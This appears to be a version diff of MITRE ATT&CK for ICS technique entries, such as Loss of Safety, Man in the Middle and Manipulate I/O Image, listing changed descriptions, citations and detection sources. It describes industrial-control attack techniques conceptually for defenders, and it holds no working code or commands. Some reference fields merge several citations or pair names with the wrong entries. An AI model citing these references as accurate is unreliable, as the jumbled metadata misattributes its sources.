| external_references[1]['description'] | Paganini, Pierluigi. (2020, June 14). Ransomware attack disrupts operations at Australian beverage company Lion. Retrieved October 8, 2021. | Paganini, Pierluigi 2020, June 14 Ransomware attack disrupts operations at Australian beverage company Lion Retrieved. 2021/10/08 |
| external_references[2]['source_name'] | Lion Cyber Incident June 2020 | Paganini, Pierluigi June 2020 |
| external_references[2]['description'] | Lion Corporation. (2020, June 26). Lion Cyber incident update: 26 June 2020. Retrieved October 8, 2021. | Paganini, Pierluigi 2020, June 14 Ransomware attack disrupts operations at Australian beverage company Lion Retrieved. 2021/10/08 |
| external_references[2]['url'] | https://lionco.com/2020/06/26/lion-update-re-cyber-issue/ | https://securityaffairs.co/wordpress/104749/cyber-crime/ransomware-attack-hit-lion.html |
| external_references[3]['source_name'] | Colonial Pipeline System Distruption May 2021 | Lion Corporation June 2020 |
| external_references[3]['description'] | Colonial Pipeline Company. (2021, May). Media Statement Update: Colonial Pipeline System Disruption. Retrieved October 8, 2021. | Lion Corporation 2020, June 26 Lion Cyber incident update: 26 June 2020 Retrieved. 2021/10/08 |
| external_references[3]['url'] | https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption | https://lionco.com/2020/06/26/lion-update-re-cyber-issue/ |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Colonial Pipeline Company May 2021', 'description': 'Colonial Pipeline Company 2021, May Media Statement Update: Colonial Pipeline System Disruption Retrieved. 2021/10/08 ', 'url': 'https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption'} |
[T0837] Loss of Protection
Current version: 1.0
Version changed from: 0.0 → 1.0
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| t | Adversaries may compromise protective system functions desig | t | Adversaries may compromise protective system functions desig |
| ned to prevent the effects of faults and abnormal conditions | | ned to prevent the effects of faults and abnormal conditions |
| . This can result in equipment damage, prolonged process dis | | . This can result in equipment damage, prolonged process dis |
| ruptions and hazards to personnel. Many faults and abnormal | | ruptions and hazards to personnel. Many faults and abnormal |
| conditions in process control happen too quickly for a human | | conditions in process control happen too quickly for a huma |
| operator to react to. Speed is critical in correcting these | | n operator to react to. Speed is critical in correcting thes |
| conditions to limit serious impacts such as Loss of Control | | e conditions to limit serious impacts such as Loss of Contro |
| and Property Damage. Adversaries may target and disable pro | | l and Property Damage. Adversaries may target and disable p |
| tective system functions as a prerequisite to subsequent att | | rotective system functions as a prerequisite to subsequent a |
| ack execution or to allow for future faults and abnormal con | | ttack execution or to allow for future faults and abnormal c |
| ditions to go unchecked. Detection of a Loss of Protection b | | onditions to go unchecked. Detection of a Loss of Protection |
| y operators can result in the shutdown of a process due to s | | by operators can result in the shutdown of a process due to |
| trict policies regarding protection systems. This can cause | | strict policies regarding protection systems. This can caus |
| a Loss of Productivity and Revenue and may meet the technica | | e a Loss of Productivity and Revenue and may meet the techni |
| l goals of adversaries seeking to cause process disruptions. | | cal goals of adversaries seeking to cause process disruption |
| | | s. }}" |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 07:57:26.506000+00:00 | 2022-04-21 22:02:03.877000+00:00 |
| description | Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. Many faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions. | Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. Many faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions. }}" |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0837 | https://attack.mitre.org/Technique/T0837 |
[T0880] Loss of Safety
Current version: 1.0
Version changed from: 0.0 → 1.0
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| t | Adversaries may compromise safety system functions designed | t | Adversaries may compromise safety system functions designed |
| to maintain safe operation of a process when unacceptable or | | to maintain safe operation of a process when unacceptable or |
| dangerous conditions occur. Safety systems are often compos | | dangerous conditions occur. Safety systems are often compos |
| ed of the same elements as control systems but have the sole | | ed of the same elements as control systems but have the sole |
| purpose of ensuring the process fails in a predetermined sa | | purpose of ensuring the process fails in a predetermined sa |
| fe manner. Many unsafe conditions in process control happen | | fe manner. Many unsafe conditions in process control happen |
| too quickly for a human operator to react to. Speed is criti | | too quickly for a human operator to react to. Speed is crit |
| cal in correcting these conditions to limit serious impacts | | ical in correcting these conditions to limit serious impacts |
| such as Loss of Control and Property Damage. Adversaries may | | such as Loss of Control and Property Damage. Adversaries m |
| target and disable safety system functions as a prerequisit | | ay target and disable safety system functions as a prerequis |
| e to subsequent attack execution or to allow for future unsa | | ite to subsequent attack execution or to allow for future un |
| fe conditionals to go unchecked. Detection of a Loss of Safe | | safe conditionals to go unchecked. Detection of a Loss of Sa |
| ty by operators can result in the shutdown of a process due | | fety by operators can result in the shutdown of a process du |
| to strict policies regarding safety systems. This can cause | | e to strict policies regarding safety systems. This can caus |
| a Loss of Productivity and Revenue and may meet the technica | | e a Loss of Productivity and Revenue and may meet the techni |
| l goals of adversaries seeking to cause process disruptions. | | cal goals of adversaries seeking to cause process disruption |
| | | s. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 07:57:26.506000+00:00 | 2022-04-21 22:02:03.877000+00:00 |
| description | Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions. | Adversaries may compromise safety system functions designed to maintain safe operation of a process when unacceptable or dangerous conditions occur. Safety systems are often composed of the same elements as control systems but have the sole purpose of ensuring the process fails in a predetermined safe manner. Many unsafe conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. Adversaries may target and disable safety system functions as a prerequisite to subsequent attack execution or to allow for future unsafe conditionals to go unchecked. Detection of a Loss of Safety by operators can result in the shutdown of a process due to strict policies regarding safety systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0880 | https://attack.mitre.org/Technique/T0880 |
[T0829] Loss of View
Current version: 1.0
Version changed from: 0.0 → 1.0
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| t | Adversaries may cause a sustained or permanent loss of view | t | Adversaries may cause a sustained or permanent loss of view |
| where the ICS equipment will require local, hands-on operato | | where the ICS equipment will require local, hands-on operato |
| r intervention; for instance, a restart or manual operation. | | r intervention; for instance, a restart or manual operation. |
| By causing a sustained reporting or visibility loss, the ad | | By causing a sustained reporting or visibility loss, the ad |
| versary can effectively hide the present state of operations | | versary can effectively hide the present state of operations |
| . This loss of view can occur without affecting the physical | | . This loss of view can occur without affecting the physical |
| processes themselves. (Citation: Reference - Corero) (Citat | | processes themselves. (Citation: Corero) (Citation: Michael |
| ion: Reference - SANS - 201510) (Citation: Reference - RIoT) | | J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
| external_references | | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 07:57:26.506000+00:00 | 2022-04-21 22:02:03.879000+00:00 |
| description | Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT) | Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0829 | https://attack.mitre.org/Technique/T0829 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
[T0830] Man in the Middle
Current version: 1.0
Version changed from: 0.0 → 1.0
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| t | Adversaries with privileged network access may seek to modif | t | Adversaries with privileged network access may seek to modif |
| y network traffic in real time using man-in-the-middle (MITM | | y network traffic in real time using man-in-the-middle (MITM |
| ) attacks. (Citation: Reference - SANS - 201710) This type o | | ) attacks. (Citation: Gabriel Sanchez October 2017) This typ |
| f attack allows the adversary to intercept traffic to and/or | | e of attack allows the adversary to intercept traffic to and |
| from a particular device on the network. If a MITM attack i | | /or from a particular device on the network. If a MITM attac |
| s established, then the adversary has the ability to block, | | k is established, then the adversary has the ability to bloc |
| log, modify, or inject traffic into the communication stream | | k, log, modify, or inject traffic into the communication str |
| . There are several ways to accomplish this attack, but some | | eam. There are several ways to accomplish this attack, but s |
| of the most-common are Address Resolution Protocol (ARP) po | | ome of the most-common are Address Resolution Protocol (ARP) |
| isoning and the use of a proxy. (Citation: Research - Resear | | poisoning and the use of a proxy. (Citation: Bonnie Zhu, An |
| ch - Taxonomy Cyber Attacks on SCADA) A M | | thony Joseph, Shankar Sastry 2011) ttt A MITM attack may a |
| ITM attack may allow an adversary to perform the following a | | llow an adversary to perform the following attacks: [Block |
| ttacks: Block Reporting Message, Spoof Reporting Message, | | Reporting Message](https://attack.mitre.org/techniques/T080 |
| Modify Parameter, Unauthorized Command Message | | 4), [Spoof Reporting Message](https://attack.mitre.org/tech |
| | | niques/T0856), [Modify Parameter](https://attack.mitre.org/t |
| | | echniques/T0836), [Unauthorized Command Message](https://a |
| | | ttack.mitre.org/techniques/T0855) |
New Mitigations:
Dropped Mitigations:
- M0937: Filter Network Traffic
New Detections:
- DS0009: Process (OS API Execution)
- DS0009: Process (Process Creation)
- DS0017: Command (Command Execution)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
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| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
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| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.880000+00:00 |
| description | Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. (Citation: Reference - SANS - 201710) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)
A MITM attack may allow an adversary to perform the following attacks:
Block Reporting Message, Spoof Reporting Message, Modify Parameter, Unauthorized Command Message | Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. (Citation: Gabriel Sanchez October 2017) This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) ttt A MITM attack may allow an adversary to perform the following attacks: [Block Reporting Message](https://attack.mitre.org/techniques/T0804), [Spoof Reporting Message](https://attack.mitre.org/techniques/T0856), [Modify Parameter](https://attack.mitre.org/techniques/T0836), [Unauthorized Command Message](https://attack.mitre.org/techniques/T0855) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0830 | https://attack.mitre.org/Technique/T0830 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Gabriel Sanchez October 2017 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Gabriel Sanchez 2017, October Man-In-The-Middle Attack Against Modbus TCP Illustrated with Wireshark Retrieved. 2020/01/05 |
| external_references[1]['url'] | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 | https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095 |
| external_references[2]['source_name'] | Reference - SANS - 201710 | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[2]['description'] | Gabriel Sanchez. (2017, October). Man-In-The-Middle Attack Against Modbus TCP Illustrated with Wireshark. Retrieved January 5, 2020. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[2]['url'] | https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095 | http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258 |
[T0835] Manipulate I/O Image
Current version: 1.0
Version changed from: 0.0 → 1.0
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| t | Adversaries may manipulate the I/O image of PLCs through var | t | Adversaries may manipulate the I/O image of PLCs through var |
| ious means to prevent them from functioning as expected. Met | | ious means to prevent them from functioning as expected. Met |
| hods of I/O image manipulation may include overriding the I/ | | hods of I/O image manipulation may include overriding the I/ |
| O table via direct memory manipulation or using the override | | O table via direct memory manipulation or using the override |
| function used for testing PLC programs. (Citation: Guidance | | function used for testing PLC programs. (Citation: Dr. Kelv |
| - ISA PLC) During the scan cycle, a PLC reads the status | | in T. Erickson December 2010) During the scan cycle, a PLC r |
| of all inputs and stores them in an image table.2 The image | | eads the status of all inputs and stores them in an image ta |
| table is the PLC’s internal storage location where values o | | ble. (Citation: Nanjundaiah, Vaidyanath) The image table is |
| f inputs/outputs for one scan are stored while it executes t | | the PLCs internal storage location where values of inputs/ou |
| he user program. After the PLC has solved the entire logic p | | tputs for one scan are stored while it executes the user pro |
| rogram, it updates the output image table. The contents of t | | gram. After the PLC has solved the entire logic program, it |
| his output image table are written to the corresponding outp | | updates the output image table. The contents of this output |
| ut points in I/O Modules. One of the unique characteristics | | image table are written to the corresponding output points i |
| of PLCs is their ability to override the status of a physic | | n I/O Modules. One of the unique characteristics of PLCs is |
| al discrete input or to override the logic driving a physica | | their ability to override the status of a physical discrete |
| l output coil and force the output to a desired status. | | input or to override the logic driving a physical output co |
| | | il and force the output to a desired status. |
New Detections:
- DS0040: Operational Databases (Device Alarm)
- DS0040: Operational Databases (Process History/Live Data)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 15:25:32.143000+00:00 | 2022-04-21 22:02:03.881000+00:00 |
| description | Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC)
During the scan cycle, a PLC reads the status of all inputs and stores them in an image table.2 The image table is the PLC’s internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.
One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status. | Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Dr. Kelvin T. Erickson December 2010) During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. (Citation: Nanjundaiah, Vaidyanath) The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T835 | https://attack.mitre.org/Technique/T835 |
| external_references[1]['source_name'] | Guidance - ISA PLC | Dr. Kelvin T. Erickson December 2010 |
| external_references[1]['description'] | Dr. Kelvin T. Erickson. (2010, December). Programmable logic controller hardware. Retrieved March 29, 2018. | Dr. Kelvin T. Erickson 2010, December Programmable logic controller hardware Retrieved. 2018/03/29 |
| external_references[2]['source_name'] | PLC-Blaster 2 | Nanjundaiah, Vaidyanath |
| external_references[2]['description'] | Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019. | Nanjundaiah, Vaidyanath Dr. Kelvin T. Erickson 2010, December Programmable logic controller hardware Retrieved. 2018/03/29 PLC Ladder Logic Basics Retrieved. 2021/10/11 |
| external_references[2]['url'] | https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf | https://www.ezautomation.net/industry-articles/plc-ladder-logic-basics.htm |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'} | |
[T0831] Manipulation of Control
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may manipulate physical process control within t | t | Adversaries may manipulate physical process control within t |
| he industrial environment. Methods of manipulating control c | | he industrial environment. Methods of manipulating control c |
| an include changes to set point values, tags, or other param | | an include changes to set point values, tags, or other param |
| eters. Adversaries may manipulate control systems devices or | | eters. Adversaries may manipulate control systems devices or |
| possibly leverage their own, to communicate with and comman | | possibly leverage their own, to communicate with and comman |
| d physical control processes. The duration of manipulation m | | d physical control processes. The duration of manipulation m |
| ay be temporary or longer sustained, depending on operator d | | ay be temporary or longer sustained, depending on operator d |
| etection. Methods of Manipulation of Control include: Man-in | | etection. Methods of Manipulation of Control include: * Ma |
| -the-middle, Spoof command message, Changing setpoints. A Po | | n-in-the-middle * Spoof command message * Changing setpoint |
| lish student used a remote controller device to interface wi | | s A Polish student used a remote controller device to inter |
| th the Lodz city tram system in Poland.(Citation: LondonReco | | face with the Lodz city tram system in Poland. (Citation: Jo |
| nnections Hacked Cyber Security Railways May 2017)(Citation: | | hn Bill May 2017) (Citation: Shelley Smith February 2008) (C |
| InHomelandSecurity Hacker Poland February 2008)(Citation: S | | itation: Bruce Schneier January 2008) Using this remote, the |
| chneier Hacking Polish Trams January 2008) Using this remote | | student was able to capture and replay legitimate tram sign |
| , the student was able to capture and replay legitimate tram | | als. As a consequence, four trams were derailed and twelve p |
| signals. As a consequence, four trams were derailed and twe | | eople injured due to resulting emergency stops. (Citation: S |
| lve people injured due to resulting emergency stops.(Citatio | | helley Smith February 2008) The track controlling commands i |
| n: InHomelandSecurity Hacker Poland February 2008)Using this | | ssued may have also resulted in tram collisions, a further r |
| remote, the student was able to capture and replay legitima | | isk to those on board and nearby the areas of impact. (Citat |
| te tram signals. As a consequence, four trams were derailed | | ion: Bruce Schneier January 2008) |
| and twelve people injured due to resulting emergency stops.( | | |
| Citation: InHomelandSecurity Hacker Poland February 2008) Th | | |
| e track controlling commands issued may have also resulted i | | |
| n tram collisions, a further risk to those on board and near | | |
| by the areas of impact.(Citation: Schneier Hacking Polish Tr | | |
| ams January 2008) | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 07:57:26.506000+00:00 | 2022-04-21 22:02:03.883000+00:00 |
| description | Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.(Citation: LondonReconnections Hacked Cyber Security Railways May 2017)(Citation: InHomelandSecurity Hacker Poland February 2008)(Citation: Schneier Hacking Polish Trams January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008)Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.(Citation: InHomelandSecurity Hacker Poland February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.(Citation: Schneier Hacking Polish Trams January 2008) | Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: * Man-in-the-middle * Spoof command message * Changing setpoints A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: John Bill May 2017) (Citation: Shelley Smith February 2008) (Citation: Bruce Schneier January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. (Citation: Shelley Smith February 2008) The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact. (Citation: Bruce Schneier January 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0831 | https://attack.mitre.org/Technique/T0831 |
| external_references[1]['source_name'] | LondonReconnections Hacked Cyber Security Railways May 2017 | John Bill May 2017 |
| external_references[1]['description'] | John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019. | John Bill 2017, May 12 Hacked Cyber Security Railways Retrieved. 2019/10/17 |
| external_references[2]['source_name'] | InHomelandSecurity Hacker Poland February 2008 | Shelley Smith February 2008 |
| external_references[2]['description'] | Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019. | Shelley Smith 2008, February 12 Teen Hacker in Poland Plays Trains and Derails City Tram System Retrieved. 2019/10/17 |
| external_references[3]['source_name'] | Schneier Hacking Polish Trams January 2008 | Bruce Schneier January 2008 |
| external_references[3]['description'] | Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019. | Bruce Schneier 2008, January 17 Hacking Polish Trams Retrieved. 2019/10/17 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Shelley Smith February 2008', 'description': 'Shelley Smith 2008, February 12 Teen Hacker in Poland Plays Trains and Derails City Tram System Retrieved. 2019/10/17 ', 'url': 'https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'} |
| external_references | | {'source_name': 'Bruce Schneier January 2008', 'description': 'Bruce Schneier 2008, January 17 Hacking Polish Trams Retrieved. 2019/10/17 ', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html'} |
[T0832] Manipulation of View
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may attempt to manipulate the information report | t | Adversaries may attempt to manipulate the information report |
| ed back to operators or controllers. This manipulation may b | | ed back to operators or controllers. This manipulation may b |
| e short term or sustained. During this time the process itse | | e short term or sustained. During this time the process itse |
| lf could be in a much different state than what is reported. | | lf could be in a much different state than what is reported. |
| (Citation: Reference - Corero) (Citation: Reference - SANS | | (Citation: Corero) (Citation: Michael J. Assante and Robert |
| - 201510) (Citation: Reference - RIoT) Operators may be fo | | M. Lee) (Citation: Tyson Macaulay) Operators may be foole |
| oled into doing something that is harmful to the system in a | | d into doing something that is harmful to the system in a lo |
| loss of view situation. With a manipulated view into the sy | | ss of view situation. With a manipulated view into the syste |
| stems, operators may issue inappropriate control sequences t | | ms, operators may issue inappropriate control sequences that |
| hat introduce faults or catastrophic failures into the syste | | introduce faults or catastrophic failures into the system. |
| m. Business analysis systems can also be provided with inacc | | Business analysis systems can also be provided with inaccura |
| urate data leading to bad management decisions. | | te data leading to bad management decisions. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
| external_references | | https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 07:57:26.506000+00:00 | 2022-04-21 22:02:03.885000+00:00 |
| description | Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Reference - Corero) (Citation: Reference - SANS - 201510) (Citation: Reference - RIoT)
Operators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions. | Adversaries may attempt to manipulate the information reported back to operators or controllers. This manipulation may be short term or sustained. During this time the process itself could be in a much different state than what is reported. (Citation: Corero) (Citation: Michael J. Assante and Robert M. Lee) (Citation: Tyson Macaulay) Operators may be fooled into doing something that is harmful to the system in a loss of view situation. With a manipulated view into the systems, operators may issue inappropriate control sequences that introduce faults or catastrophic failures into the system. Business analysis systems can also be provided with inaccurate data leading to bad management decisions. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0832 | https://attack.mitre.org/Technique/T0832 |
| external_references[1]['source_name'] | Reference - Corero | Corero |
| external_references[1]['description'] | Corero. (n.d.). Industrial Control System (ICS) Security. Retrieved November 4, 2019. | Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 |
| external_references[1]['url'] | https://www.corero.com/resources/files/whitepapers/cns%20whitepaper%20ics.pdf | https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf |
| external_references[2]['source_name'] | Reference - SANS - 201510 | Michael J. Assante and Robert M. Lee |
| external_references[2]['description'] | Michael J. Assante and Robert M. Lee. (n.d.). The Industrial Control System Cyber Kill Chain. Retrieved November 4, 2019. | Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 |
| external_references[3]['source_name'] | Reference - RIoT | Tyson Macaulay |
| external_references[3]['description'] | Tyson Macaulay. (n.d.). RIoT Control: Understanding and Managing Risks and the Internet of Things. Retrieved November 4, 2019. | Tyson Macaulay Michael J. Assante and Robert M. Lee Corero Industrial Control System (ICS) Security Retrieved. 2019/11/04 The Industrial Control System Cyber Kill Chain Retrieved. 2019/11/04 RIoT Control: Understanding and Managing Risks and the Internet of Things Retrieved. 2019/11/04 |
[T0849] Masquerading
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
- DS0003: Scheduled Job (Scheduled Job Metadata)
- DS0003: Scheduled Job (Scheduled Job Modification)
